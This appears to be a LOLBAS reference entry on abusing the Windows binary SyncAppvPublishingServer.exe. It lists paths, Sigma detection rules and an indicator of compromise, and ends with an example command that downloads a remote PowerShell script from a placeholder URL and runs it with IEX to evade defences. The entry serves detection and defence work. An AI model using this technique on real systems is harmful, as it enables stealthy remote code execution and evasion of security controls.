.. /SyncAppvPublishingServer.exe

Execute

Used by App-v to get App-v server lists

Paths:
C:\Windows\System32\SyncAppvPublishingServer.exe
C:\Windows\SysWOW64\SyncAppvPublishingServer.exe

Resources:

- https://twitter.com/monoxgas/status/895045566090010624

Acknowledgements:

- Nick Landers (@monoxgas)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml
- IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed

Execute

Example command on how inject Powershell code into the process

```
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
```

Use case:	Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures
Privileges required:	User
Operating systems:	Windows 10 1709, Windows 10 1703, Windows 10 1607
ATT&CK® technique:	T1218